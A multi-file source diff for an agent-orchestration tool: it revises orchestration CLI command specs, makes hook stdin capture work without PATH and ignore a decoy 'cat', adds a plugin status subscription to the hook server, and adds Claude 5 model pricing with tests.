'orca orchestration task-create --spec <text> [--task-title <text>] [--display-name <text>] [--deps <json_array>] [--parent <task_id>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'spec', 'task-title', 'display-name', 'deps', 'parent']
|
||||
'orca orchestration task-create --spec <text> [--task-title <text>] [--display-name <text>] [--deps <json_array>] [--parent <task_id>] [--run <run_id>] [--from <handle>] [--json]',
|
||||
allowedFlags: [
|
||||
...GLOBAL_FLAGS,
|
||||
'spec',
|
||||
'task-title',
|
||||
'display-name',
|
||||
'deps',
|
||||
'parent',
|
||||
'run',
|
||||
'from',
|
||||
'retry-request'
|
||||
]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'task-list'],
|
||||
summary: 'List orchestration tasks',
|
||||
usage: 'orca orchestration task-list [--status <status>] [--ready] [--brief] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'status', 'ready', 'brief'],
|
||||
usage:
|
||||
'orca orchestration task-list [--status <status>] [--ready] [--brief] [--run <run_id>] [--from <handle>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'status', 'ready', 'brief', 'run', 'from'],
|
||||
notes: ['--brief collapses whitespace and caps each spec at 160 characters.']
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'task-update'],
|
||||
summary: 'Update a task status',
|
||||
usage:
|
||||
'orca orchestration task-update --id <task_id> --status <status> [--result <json>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'id', 'status', 'result'],
|
||||
'orca orchestration task-update --id <task_id> --status <status> [--result <json>] [--run <run_id>] [--from <handle>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'id', 'status', 'result', 'run', 'from', 'retry-request'],
|
||||
notes: ['Valid --status values: pending, ready, dispatched, completed, failed, blocked.']
|
||||
},
|
||||
...ORCHESTRATION_WORKER_COMMAND_SPECS,
|
||||
{
|
||||
path: ['orchestration', 'dispatch'],
|
||||
summary: 'Dispatch a task to a terminal',
|
||||
usage:
|
||||
'orca orchestration dispatch --task <task_id> --to <handle> [--from <handle>] [--inject] [--dry-run] [--return-preamble] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'task', 'to', 'from', 'inject', 'dry-run', 'return-preamble']
|
||||
'orca orchestration dispatch --task <task_id> --to <handle> [--from <handle>] [--run <run_id>] [--inject] [--dry-run] [--return-preamble] [--json]',
|
||||
allowedFlags: [
|
||||
...GLOBAL_FLAGS,
|
||||
'task',
|
||||
'to',
|
||||
'from',
|
||||
'run',
|
||||
'inject',
|
||||
'dry-run',
|
||||
'return-preamble',
|
||||
'retry-request'
|
||||
]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'dispatch-show'],
|
||||
@@ -110,14 +181,30 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [
|
||||
path: ['orchestration', 'ask'],
|
||||
summary: 'Ask the coordinator a question and block until answered',
|
||||
usage:
|
||||
'orca orchestration ask --to <handle> --question <text> [--options <csv>] [--timeout-ms <n>] [--from <handle>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'to', 'question', 'options', 'timeout-ms', 'from']
|
||||
'orca orchestration ask (--question <text> | --resume <message_id>) [--to <run:id>] [--run <run_id>] [--options <csv>] [--timeout-ms <n>] [--from <handle>] [--json]',
|
||||
allowedFlags: [
|
||||
...GLOBAL_FLAGS,
|
||||
'to',
|
||||
'run',
|
||||
'question',
|
||||
'resume',
|
||||
'dispatch-capability',
|
||||
'options',
|
||||
'timeout-ms',
|
||||
'from',
|
||||
'retry-request'
|
||||
],
|
||||
notes: [
|
||||
'From an active Dispatch, a new question defaults to its owning Run mailbox.',
|
||||
'Timeout leaves the question pending; resume with the original message ID.'
|
||||
]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'run'],
|
||||
summary: 'Start the coordinator loop',
|
||||
path: ['orchestration', 'coordinator-start'],
|
||||
aliases: [['orchestration', 'run']],
|
||||
summary: 'Retired: load the current orchestration skill',
|
||||
usage:
|
||||
'orca orchestration run --spec <text> [--from <handle>] [--poll-interval-ms <n>] [--max-concurrent <n>] [--worktree <selector>] [--json]',
|
||||
'orca orchestration coordinator-start --spec <text> [--from <handle>] [--poll-interval-ms <n>] [--max-concurrent <n>] [--worktree <selector>] [--json]',
|
||||
allowedFlags: [
|
||||
...GLOBAL_FLAGS,
|
||||
'spec',
|
||||
@@ -125,26 +212,34 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [
|
||||
'poll-interval-ms',
|
||||
'max-concurrent',
|
||||
'worktree'
|
||||
],
|
||||
notes: [
|
||||
'This command performs no effects and returns the exact `skills get orchestration --full` recovery action.',
|
||||
'Use the lightweight Run, Task, and worker-start primitives described by the current skill.'
|
||||
]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'run-stop'],
|
||||
summary: 'Stop the active coordinator run',
|
||||
usage: 'orca orchestration run-stop [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS]
|
||||
path: ['orchestration', 'coordinator-stop'],
|
||||
aliases: [['orchestration', 'run-stop']],
|
||||
summary: 'Retired: load the current orchestration skill',
|
||||
usage: 'orca orchestration coordinator-stop [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS],
|
||||
notes: [
|
||||
'This command performs no effects and returns the exact `skills get orchestration --full` recovery action.'
|
||||
]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'gate-create'],
|
||||
summary: 'Create a decision gate blocking a task',
|
||||
usage:
|
||||
'orca orchestration gate-create --task <task_id> --question <text> [--options <json_array>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'task', 'question', 'options']
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'task', 'question', 'options', 'retry-request']
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'gate-resolve'],
|
||||
summary: 'Resolve a pending decision gate',
|
||||
usage: 'orca orchestration gate-resolve --id <gate_id> --resolution <text> [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'id', 'resolution']
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'id', 'resolution', 'retry-request']
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'gate-list'],
|
||||
@@ -154,8 +249,8 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'reset'],
|
||||
summary: 'Reset orchestration state (one scope; bare command resets all)',
|
||||
usage: 'orca orchestration reset [--all | --tasks | --messages] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'all', 'tasks', 'messages']
|
||||
summary: 'Reset one explicit orchestration state scope',
|
||||
usage: 'orca orchestration reset (--all | --tasks | --messages) [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'all', 'tasks', 'messages', 'retry-request']
|
||||
}
|
||||
]
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
export type PosixHookEmptyPayloadPolicy = 'exit' | 'empty-object'
|
||||
|
||||
export const POSIX_HOOK_STDIN_DRAIN_COMMAND = 'cat >/dev/null 2>&1 || :'
|
||||
// Why: a stripped PATH must not stop a hook from consuming stdin, or the agent
|
||||
// sees exit 127 and a broken pipe mid-write (#8110). `command -p` resolves from
|
||||
// the shell's built-in default PATH, so it also survives hosts without /bin/cat
|
||||
// (NixOS) and ignores a worktree-local `cat` that could capture the payload.
|
||||
export const POSIX_HOOK_STDIN_READER = '{ command -p cat 2>/dev/null || cat; }'
|
||||
export const POSIX_HOOK_STDIN_DRAIN_COMMAND = `${POSIX_HOOK_STDIN_READER} >/dev/null 2>&1 || :`
|
||||
|
||||
// Why: every POSIX hook must own stdin before any no-op exit; sharing this
|
||||
// prelude prevents agent templates from inventing different drain semantics.
|
||||
@@ -9,7 +14,12 @@ export function buildPosixHookPayloadCapture(
|
||||
): string[] {
|
||||
const emptyPayloadLines =
|
||||
emptyPayloadPolicy === 'empty-object' ? [" payload='{}'"] : [' exit 0']
|
||||
return ['payload=$(cat)', 'if [ -z "$payload" ]; then', ...emptyPayloadLines, 'fi']
|
||||
return [
|
||||
`payload=$(${POSIX_HOOK_STDIN_READER})`,
|
||||
'if [ -z "$payload" ]; then',
|
||||
...emptyPayloadLines,
|
||||
'fi'
|
||||
]
|
||||
}
|
||||
|
||||
export const WINDOWS_HOOK_STDIN_DRAIN_LABEL = 'orca_agent_hook_drain_stdin'
|
||||
|
||||
@@ -31,6 +31,7 @@ import {
|
||||
writeHooksJson,
|
||||
type HooksConfig
|
||||
} from './installer-utils'
|
||||
import { POSIX_HOOK_STDIN_DRAIN_COMMAND } from './hook-stdin-contract'
|
||||
|
||||
let tmpDir: string
|
||||
let configPath: string
|
||||
@@ -357,7 +358,7 @@ describe('wrapPosixHookCommand', () => {
|
||||
it('produces a guarded command that no-ops when the script is missing', () => {
|
||||
const cmd = wrapPosixHookCommand('/does/not/exist.sh')
|
||||
expect(cmd).toBe(
|
||||
"if [ -f '/does/not/exist.sh' ] && [ -r '/does/not/exist.sh' ] && [ -x '/does/not/exist.sh' ]; then /bin/sh '/does/not/exist.sh'; else cat >/dev/null 2>&1 || :; fi"
|
||||
`if [ -f '/does/not/exist.sh' ] && [ -r '/does/not/exist.sh' ] && [ -x '/does/not/exist.sh' ]; then /bin/sh '/does/not/exist.sh'; else ${POSIX_HOOK_STDIN_DRAIN_COMMAND}; fi`
|
||||
)
|
||||
})
|
||||
|
||||
@@ -375,7 +376,7 @@ describe('wrapPosixHookCommand', () => {
|
||||
// /bin/sh as a single argument.
|
||||
const cmd = wrapPosixHookCommand("/path/with'quote/x.sh")
|
||||
expect(cmd).toBe(
|
||||
"if [ -f '/path/with'\\''quote/x.sh' ] && [ -r '/path/with'\\''quote/x.sh' ] && [ -x '/path/with'\\''quote/x.sh' ]; then /bin/sh '/path/with'\\''quote/x.sh'; else cat >/dev/null 2>&1 || :; fi"
|
||||
`if [ -f '/path/with'\\''quote/x.sh' ] && [ -r '/path/with'\\''quote/x.sh' ] && [ -x '/path/with'\\''quote/x.sh' ]; then /bin/sh '/path/with'\\''quote/x.sh'; else ${POSIX_HOOK_STDIN_DRAIN_COMMAND}; fi`
|
||||
)
|
||||
})
|
||||
|
||||
@@ -384,7 +385,7 @@ describe('wrapPosixHookCommand', () => {
|
||||
ORCA_COPILOT_HOOK_EVENT: 'UserPromptSubmit'
|
||||
})
|
||||
expect(cmd).toBe(
|
||||
"if [ -f '/does/not/exist.sh' ] && [ -r '/does/not/exist.sh' ] && [ -x '/does/not/exist.sh' ]; then ORCA_COPILOT_HOOK_EVENT='UserPromptSubmit' /bin/sh '/does/not/exist.sh'; else cat >/dev/null 2>&1 || :; fi"
|
||||
`if [ -f '/does/not/exist.sh' ] && [ -r '/does/not/exist.sh' ] && [ -x '/does/not/exist.sh' ]; then ORCA_COPILOT_HOOK_EVENT='UserPromptSubmit' /bin/sh '/does/not/exist.sh'; else ${POSIX_HOOK_STDIN_DRAIN_COMMAND}; fi`
|
||||
)
|
||||
})
|
||||
|
||||
@@ -558,7 +559,7 @@ describe('wrapWindowsGitBashHookCommand', () => {
|
||||
expect(
|
||||
wrapWindowsGitBashHookCommand('C:\\Users\\alice\\.orca\\agent-hooks\\claude-hook.cmd')
|
||||
).toBe(
|
||||
"if [ -f 'C:/Users/alice/.orca/agent-hooks/claude-hook.cmd' ]; then 'C:/Users/alice/.orca/agent-hooks/claude-hook.cmd'; else cat >/dev/null 2>&1 || :; fi"
|
||||
`if [ -f 'C:/Users/alice/.orca/agent-hooks/claude-hook.cmd' ]; then 'C:/Users/alice/.orca/agent-hooks/claude-hook.cmd'; else ${POSIX_HOOK_STDIN_DRAIN_COMMAND}; fi`
|
||||
)
|
||||
})
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// matrix catches an unread early exit without duplicating template assertions.
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import { spawn } from 'node:child_process'
|
||||
import { existsSync, mkdtempSync, readFileSync, readdirSync, rmSync } from 'node:fs'
|
||||
import { existsSync, mkdtempSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import type { SFTPWrapper } from 'ssh2'
|
||||
@@ -82,6 +82,7 @@ import {
|
||||
wrapWindowsGitBashHookCommand,
|
||||
wrapWindowsHookCommand
|
||||
} from './installer-utils'
|
||||
import { POSIX_HOOK_STDIN_READER } from './hook-stdin-contract'
|
||||
import { createAgentHookMemorySftp } from './agent-hook-memory-sftp.test-fixture'
|
||||
|
||||
const REMOTE_HOME = '/home/dev'
|
||||
@@ -155,6 +156,7 @@ const LOCAL_INSTALLERS = [
|
||||
type HookRun = {
|
||||
exitCode: number | null
|
||||
stdinErrors: NodeJS.ErrnoException[]
|
||||
stdout: string
|
||||
}
|
||||
|
||||
function runHookProcess(
|
||||
@@ -163,8 +165,9 @@ function runHookProcess(
|
||||
env: NodeJS.ProcessEnv
|
||||
): Promise<HookRun> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const child = spawn(executable, args, { env, stdio: ['pipe', 'ignore', 'ignore'] })
|
||||
const child = spawn(executable, args, { env, stdio: ['pipe', 'pipe', 'ignore'] })
|
||||
const stdinErrors: NodeJS.ErrnoException[] = []
|
||||
let stdout = ''
|
||||
const timeout = setTimeout(() => {
|
||||
child.kill('SIGKILL')
|
||||
reject(new Error('hook did not finish after stdin closed'))
|
||||
@@ -173,10 +176,13 @@ function runHookProcess(
|
||||
clearTimeout(timeout)
|
||||
reject(error)
|
||||
})
|
||||
child.stdout.on('data', (chunk: Buffer) => {
|
||||
stdout += chunk.toString()
|
||||
})
|
||||
child.stdin.on('error', (error: NodeJS.ErrnoException) => stdinErrors.push(error))
|
||||
child.on('close', (exitCode) => {
|
||||
clearTimeout(timeout)
|
||||
resolve({ exitCode, stdinErrors })
|
||||
resolve({ exitCode, stdinErrors, stdout })
|
||||
})
|
||||
child.stdin.end(LARGE_PAYLOAD)
|
||||
})
|
||||
@@ -274,7 +280,9 @@ describe('Windows managed hook stdin structure', () => {
|
||||
copilot.indexOf('if (-not $env:ORCA_AGENT_HOOK_PORT')
|
||||
)
|
||||
const kimi = readFileSync(join(hooksDir, 'kimi-hook.sh'), 'utf8')
|
||||
expect(kimi.indexOf('payload=$(cat)')).toBeLessThan(kimi.indexOf('exit 0'))
|
||||
expect(kimi.indexOf(`payload=$(${POSIX_HOOK_STDIN_READER})`)).toBeLessThan(
|
||||
kimi.indexOf('exit 0')
|
||||
)
|
||||
} finally {
|
||||
homedirMock.mockImplementation(() => process.env.HOME ?? tmpdir())
|
||||
if (previousGrokHome === undefined) {
|
||||
@@ -370,7 +378,7 @@ describe.skipIf(process.platform === 'win32')('managed hook stdin lifecycle', ()
|
||||
it('captures stdin before every possible whole-script success exit', async () => {
|
||||
const scripts = await generatePosixScripts()
|
||||
for (const [agent, script] of scripts) {
|
||||
const captureIndex = script.indexOf('payload=$(cat)')
|
||||
const captureIndex = script.indexOf(`payload=$(${POSIX_HOOK_STDIN_READER})`)
|
||||
const firstExitIndex = script.indexOf('exit 0')
|
||||
expect(captureIndex, `${agent} payload capture`).toBeGreaterThanOrEqual(0)
|
||||
expect(firstExitIndex, `${agent} first success exit`).toBeGreaterThan(captureIndex)
|
||||
@@ -393,6 +401,50 @@ describe.skipIf(process.platform === 'win32')('managed hook stdin lifecycle', ()
|
||||
}
|
||||
})
|
||||
|
||||
it('does not need PATH to capture or drain POSIX hook stdin', async () => {
|
||||
const scripts = await generatePosixScripts()
|
||||
for (const [agent, script] of scripts) {
|
||||
const result = await runPosixHook(script, { PATH: '' })
|
||||
expect(result.exitCode, `${agent} exit code`).toBe(0)
|
||||
expect(result.stdinErrors, `${agent} stdin errors`).toHaveLength(0)
|
||||
}
|
||||
|
||||
const missing = await runPosixHook(wrapPosixHookCommand('/missing/orca-hook.sh'), { PATH: '' })
|
||||
expect(missing.exitCode, 'missing script launcher exit code').toBe(0)
|
||||
expect(missing.stdinErrors, 'missing script launcher stdin errors').toHaveLength(0)
|
||||
})
|
||||
|
||||
// Why: an unread stdin still exits 0, so exit codes alone cannot prove the
|
||||
// reader consumed the payload. Assert the captured byte count directly.
|
||||
it.each([
|
||||
['empty PATH', ''],
|
||||
// Why: /bin/cat is absent on NixOS-style hosts, so an absolute path alone is
|
||||
// not enough; the reader must fall back to the shell's default PATH.
|
||||
['PATH without coreutils', '/nonexistent'],
|
||||
// Why: a worktree-local `cat` must never receive the hook payload.
|
||||
['PATH whose first cat is a decoy', '']
|
||||
])('captures the whole payload with %s', async (label, pathValue) => {
|
||||
const decoyDir = mkdtempSync(join(tmpdir(), 'orca-hook-stdin-decoy-'))
|
||||
try {
|
||||
let effectivePath = pathValue
|
||||
if (label === 'PATH whose first cat is a decoy') {
|
||||
const decoy = join(decoyDir, 'cat')
|
||||
writeFileSync(decoy, '#!/bin/sh\nexit 0\n', { mode: 0o755 })
|
||||
effectivePath = decoyDir
|
||||
}
|
||||
const result = await runHookProcess(
|
||||
'/bin/sh',
|
||||
['-c', `payload=$(${POSIX_HOOK_STDIN_READER}); printf '%s' "${'${#payload}'}"`],
|
||||
{ ...hookEnvironment(), PATH: effectivePath }
|
||||
)
|
||||
expect(result.exitCode, `${label} exit code`).toBe(0)
|
||||
expect(result.stdinErrors, `${label} stdin errors`).toHaveLength(0)
|
||||
expect(result.stdout, `${label} captured bytes`).toBe(String(LARGE_PAYLOAD.length))
|
||||
} finally {
|
||||
rmSync(decoyDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('drains before Claude skips hooks imported by Devin', async () => {
|
||||
const script = (await generatePosixScripts()).get('claude claude-hook.sh')
|
||||
expect(script).toBeDefined()
|
||||
|
||||
@@ -7083,6 +7083,38 @@ describe('AgentHookServer ingestRemote', () => {
|
||||
}
|
||||
})
|
||||
|
||||
it('fans a Pi session-only status out to plugins, not just the renderer', () => {
|
||||
const server = new AgentHookServer()
|
||||
const rendererListener = vi.fn()
|
||||
const pluginListener = vi.fn()
|
||||
server.setListener(rendererListener)
|
||||
server.subscribeEnrichedStatus(pluginListener)
|
||||
|
||||
server.ingestRemote(
|
||||
{
|
||||
paneKey: PANE,
|
||||
tabId: 'tab-1',
|
||||
worktreeId: 'wt-1',
|
||||
providerSession: {
|
||||
key: 'session_id',
|
||||
id: 'pi-session-1',
|
||||
transcriptPath: '/tmp/pi-session-1.jsonl'
|
||||
},
|
||||
providerSessionOnly: true,
|
||||
payload: { state: 'done', prompt: '', agentType: 'pi' }
|
||||
},
|
||||
'conn-1'
|
||||
)
|
||||
|
||||
// The session-only path returns early, so it must not skip the plugin tap.
|
||||
expect(rendererListener).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ paneKey: PANE, providerSessionOnly: true })
|
||||
)
|
||||
expect(pluginListener).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ paneKey: PANE, providerSessionOnly: true })
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects invalid remote metadata-only session envelopes', () => {
|
||||
const server = new AgentHookServer()
|
||||
const listener = vi.fn()
|
||||
|
||||
@@ -465,6 +465,10 @@ export class AgentHookServer {
|
||||
private onPaneStatusCleared: PaneStatusClearListener | null = null
|
||||
private statusChangeListeners = new Set<StatusChangeListener>()
|
||||
private providerSessionChangeListeners = new Set<ProviderSessionChangeListener>()
|
||||
// Why: setListener is a single slot owned by the main-window fanout; the
|
||||
// plugin event bus (and future consumers) need an additive subscription
|
||||
// that also works in headless serve, where no window listener exists.
|
||||
private enrichedStatusListeners = new Set<(payload: EnrichedAgentHookEventPayload) => void>()
|
||||
// Why: set via start()'s userDataPath so the class has no direct Electron dependency (mockable in vitest node env).
|
||||
private endpointDir: string | null = null
|
||||
private endpointFilePathCache: string | null = null
|
||||
@@ -525,6 +529,14 @@ export class AgentHookServer {
|
||||
}
|
||||
}
|
||||
|
||||
/** Multi-subscriber tap on every enriched status change (no replay). */
|
||||
subscribeEnrichedStatus(listener: (payload: EnrichedAgentHookEventPayload) => void): () => void {
|
||||
this.enrichedStatusListeners.add(listener)
|
||||
return () => {
|
||||
this.enrichedStatusListeners.delete(listener)
|
||||
}
|
||||
}
|
||||
|
||||
setPaneStatusClearListener(listener: PaneStatusClearListener | null): void {
|
||||
this.onPaneStatusCleared = listener
|
||||
}
|
||||
@@ -890,7 +902,7 @@ export class AgentHookServer {
|
||||
this.state.lastStatusByPaneKey.set(enriched.paneKey, enriched)
|
||||
this.scheduleStatusPersist()
|
||||
this.notifyStatusChangeListeners()
|
||||
this.onAgentStatus?.(enriched)
|
||||
this.emitEnrichedStatus(enriched)
|
||||
return enriched
|
||||
}
|
||||
const stateReconciledPayload =
|
||||
@@ -1002,10 +1014,23 @@ export class AgentHookServer {
|
||||
this.state.lastStatusByPaneKey.set(enriched.paneKey, enriched)
|
||||
this.scheduleStatusPersist()
|
||||
this.notifyStatusChangeListeners()
|
||||
this.onAgentStatus?.(enriched)
|
||||
this.emitEnrichedStatus(enriched)
|
||||
return enriched
|
||||
}
|
||||
|
||||
// Why: every status emit must reach plugins too, so a new early-return path
|
||||
// upstream cannot silently leave the plugin tap behind the main-window fanout.
|
||||
private emitEnrichedStatus(enriched: EnrichedAgentHookEventPayload): void {
|
||||
this.onAgentStatus?.(enriched)
|
||||
for (const listener of this.enrichedStatusListeners) {
|
||||
try {
|
||||
listener(enriched)
|
||||
} catch (err) {
|
||||
console.error('[agent-hooks] enriched status listener threw', err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private clearAssistantMessageRetry(paneKey: string): void {
|
||||
const timer = this.assistantMessageRetryTimers.get(paneKey)
|
||||
if (!timer) {
|
||||
|
||||
@@ -16,6 +16,7 @@ vi.mock('os', async () => {
|
||||
})
|
||||
|
||||
import { AntigravityHookService } from './hook-service'
|
||||
import { POSIX_HOOK_STDIN_READER } from '../agent-hooks/hook-stdin-contract'
|
||||
import { createManagedCommandMatcher } from '../agent-hooks/installer-utils'
|
||||
|
||||
const ANTIGRAVITY_SCRIPT_FILE_NAME =
|
||||
@@ -94,7 +95,7 @@ describe('AntigravityHookService', () => {
|
||||
expect(script).not.toContain('[string]::IsNullOrWhiteSpace($inputData)) { exit 0 }')
|
||||
} else {
|
||||
expect(script).toContain('hook_event_name=${ORCA_ANTIGRAVITY_EVENT}')
|
||||
expect(script).toContain('payload=$(cat)')
|
||||
expect(script).toContain(`payload=$(${POSIX_HOOK_STDIN_READER})`)
|
||||
expect(script).toContain("payload='{}'")
|
||||
expect(script).not.toContain('if [ -z "$payload" ]; then\n exit 0\nfi')
|
||||
// Why: payload is piped to curl via stdin (`payload@-`) so it never lands
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { measureClipboardTextByteLength } from '../../shared/clipboard-text'
|
||||
import { yieldToEventLoop } from '../../shared/event-loop-yield'
|
||||
import type { CdpCommandSender } from './snapshot-engine'
|
||||
|
||||
export const BROWSER_TEXT_INSERT_CHUNK_BYTES = 64 * 1024
|
||||
@@ -71,7 +72,7 @@ export async function insertTextThroughCdp(
|
||||
// process responsive between bounded CDP payloads.
|
||||
chunk = chunks.next()
|
||||
if (options?.yieldBetweenChunks !== false && !chunk.done) {
|
||||
await new Promise<void>((resolve) => setTimeout(resolve, 0))
|
||||
await yieldToEventLoop()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -124,8 +124,10 @@ function getSortedWorktreeEntries(
|
||||
return sorted
|
||||
}
|
||||
|
||||
// Why setImmediate: setTimeout(0) is clamped to ~1ms, and this yields once per
|
||||
// 4-file batch, so a 7.5k-transcript scan spent ~2s parked on timers.
|
||||
async function yieldToEventLoop(): Promise<void> {
|
||||
await new Promise((resolve) => setTimeout(resolve, 0))
|
||||
await new Promise((resolve) => setImmediate(resolve))
|
||||
}
|
||||
|
||||
async function walkJsonlFiles(dirPath: string): Promise<string[]> {
|
||||
|
||||
@@ -254,6 +254,125 @@ describe('ClaudeUsageStore', () => {
|
||||
).toBeCloseTo(36.75)
|
||||
})
|
||||
|
||||
it('prices Claude 5 family models with current Anthropic rates', async () => {
|
||||
const store = createStoreWithState({
|
||||
dailyAggregates: [
|
||||
{
|
||||
day: '2026-04-09',
|
||||
model: 'claude-opus-5',
|
||||
projectKey: 'worktree:repo-1::/workspace/repo-a',
|
||||
projectLabel: 'Repo A',
|
||||
repoId: 'repo-1',
|
||||
worktreeId: 'repo-1::/workspace/repo-a',
|
||||
turnCount: 1,
|
||||
zeroCacheReadTurnCount: 0,
|
||||
inputTokens: 1_000_000,
|
||||
outputTokens: 1_000_000,
|
||||
cacheReadTokens: 1_000_000,
|
||||
cacheWriteTokens: 1_000_000
|
||||
},
|
||||
{
|
||||
day: '2026-04-09',
|
||||
model: 'anthropic/claude-fable-5',
|
||||
projectKey: 'worktree:repo-1::/workspace/repo-a',
|
||||
projectLabel: 'Repo A',
|
||||
repoId: 'repo-1',
|
||||
worktreeId: 'repo-1::/workspace/repo-a',
|
||||
turnCount: 1,
|
||||
zeroCacheReadTurnCount: 0,
|
||||
inputTokens: 1_000_000,
|
||||
outputTokens: 1_000_000,
|
||||
cacheReadTokens: 1_000_000,
|
||||
cacheWriteTokens: 1_000_000
|
||||
},
|
||||
{
|
||||
day: '2026-04-09',
|
||||
model: 'claude-sonnet-5-thinking',
|
||||
projectKey: 'worktree:repo-1::/workspace/repo-a',
|
||||
projectLabel: 'Repo A',
|
||||
repoId: 'repo-1',
|
||||
worktreeId: 'repo-1::/workspace/repo-a',
|
||||
turnCount: 1,
|
||||
zeroCacheReadTurnCount: 0,
|
||||
inputTokens: 1_000_000,
|
||||
outputTokens: 1_000_000,
|
||||
cacheReadTokens: 1_000_000,
|
||||
cacheWriteTokens: 1_000_000
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
const breakdown = await store.getBreakdown('orca', '30d', 'model')
|
||||
|
||||
expect(breakdown.find((row) => row.key === 'claude-opus-5')?.estimatedCostUsd).toBeCloseTo(
|
||||
36.75
|
||||
)
|
||||
expect(
|
||||
breakdown.find((row) => row.key === 'anthropic/claude-fable-5')?.estimatedCostUsd
|
||||
).toBeCloseTo(73.5)
|
||||
expect(
|
||||
breakdown.find((row) => row.key === 'claude-sonnet-5-thinking')?.estimatedCostUsd
|
||||
).toBeCloseTo(22.05)
|
||||
})
|
||||
|
||||
it('prices Sonnet 5 long-context usage at flat rates', async () => {
|
||||
const store = createStoreWithState({
|
||||
dailyAggregates: [
|
||||
{
|
||||
day: '2026-04-09',
|
||||
model: 'claude-sonnet-5',
|
||||
projectKey: 'worktree:repo-1::/workspace/repo-a',
|
||||
projectLabel: 'Repo A',
|
||||
repoId: 'repo-1',
|
||||
worktreeId: 'repo-1::/workspace/repo-a',
|
||||
turnCount: 1,
|
||||
zeroCacheReadTurnCount: 0,
|
||||
inputTokens: 300_000,
|
||||
outputTokens: 300_000,
|
||||
cacheReadTokens: 300_000,
|
||||
cacheWriteTokens: 300_000
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
const summary = await store.getSummary('orca', '30d')
|
||||
|
||||
// Why: Sonnet 4.6 and earlier bill above 200k at a premium; Sonnet 5 does not.
|
||||
expect(summary.estimatedCostUsd).toBeCloseTo(6.615)
|
||||
})
|
||||
|
||||
it('does not collapse Opus 4.5 or Sonnet 4.5 usage into Claude 5 pricing', async () => {
|
||||
const store = createStoreWithState({
|
||||
dailyAggregates: ['claude-sonnet-4-5-20250929', 'claude-opus-4-5-20251101'].map((model) => ({
|
||||
day: '2026-04-09',
|
||||
model,
|
||||
projectKey: 'worktree:repo-1::/workspace/repo-a',
|
||||
projectLabel: 'Repo A',
|
||||
repoId: 'repo-1',
|
||||
worktreeId: 'repo-1::/workspace/repo-a',
|
||||
turnCount: 1,
|
||||
zeroCacheReadTurnCount: 0,
|
||||
inputTokens: 300_000,
|
||||
outputTokens: 300_000,
|
||||
cacheReadTokens: 300_000,
|
||||
cacheWriteTokens: 300_000
|
||||
}))
|
||||
})
|
||||
|
||||
const breakdown = await store.getBreakdown('orca', '30d', 'model')
|
||||
|
||||
// Why: the 4.5 tier premium only survives if `-4-5-` never matches the `-5`
|
||||
// family regex, so this doubles as the digit-boundary proof for both families.
|
||||
expect(
|
||||
breakdown.find((row) => row.key === 'claude-sonnet-4-5-20250929')?.estimatedCostUsd
|
||||
).toBeCloseTo(8.07)
|
||||
// Why: Opus 4.5 and Opus 5 share rates today, so this pins the rate rather
|
||||
// than the routing — it fails only if the two ever diverge.
|
||||
expect(
|
||||
breakdown.find((row) => row.key === 'claude-opus-4-5-20251101')?.estimatedCostUsd
|
||||
).toBeCloseTo(11.025)
|
||||
})
|
||||
|
||||
it('prices unknown newer Opus 4 point releases with current Opus rates', async () => {
|
||||
const store = createStoreWithState({
|
||||
dailyAggregates: [
|
||||
|
||||
@@ -59,6 +59,11 @@ const SONNET_LONG_CONTEXT_PRICING = {
|
||||
} satisfies Partial<ClaudeModelPricing>
|
||||
|
||||
const MODEL_PRICING: Record<string, ClaudeModelPricing> = {
|
||||
'claude-fable-5': { input: 10, output: 50, cacheRead: 1, cacheWrite: 12.5 },
|
||||
'claude-opus-5': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
|
||||
// Why: Sonnet 5 bills its full 1M window at flat rates, so no long-context tier here.
|
||||
// Why: standard rates, not the $2/$10 introductory rate ending 2026-08-31 — no date dimension.
|
||||
'claude-sonnet-5': { input: 3, output: 15, cacheRead: 0.3, cacheWrite: 3.75 },
|
||||
'claude-opus-4-8': { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
|
||||
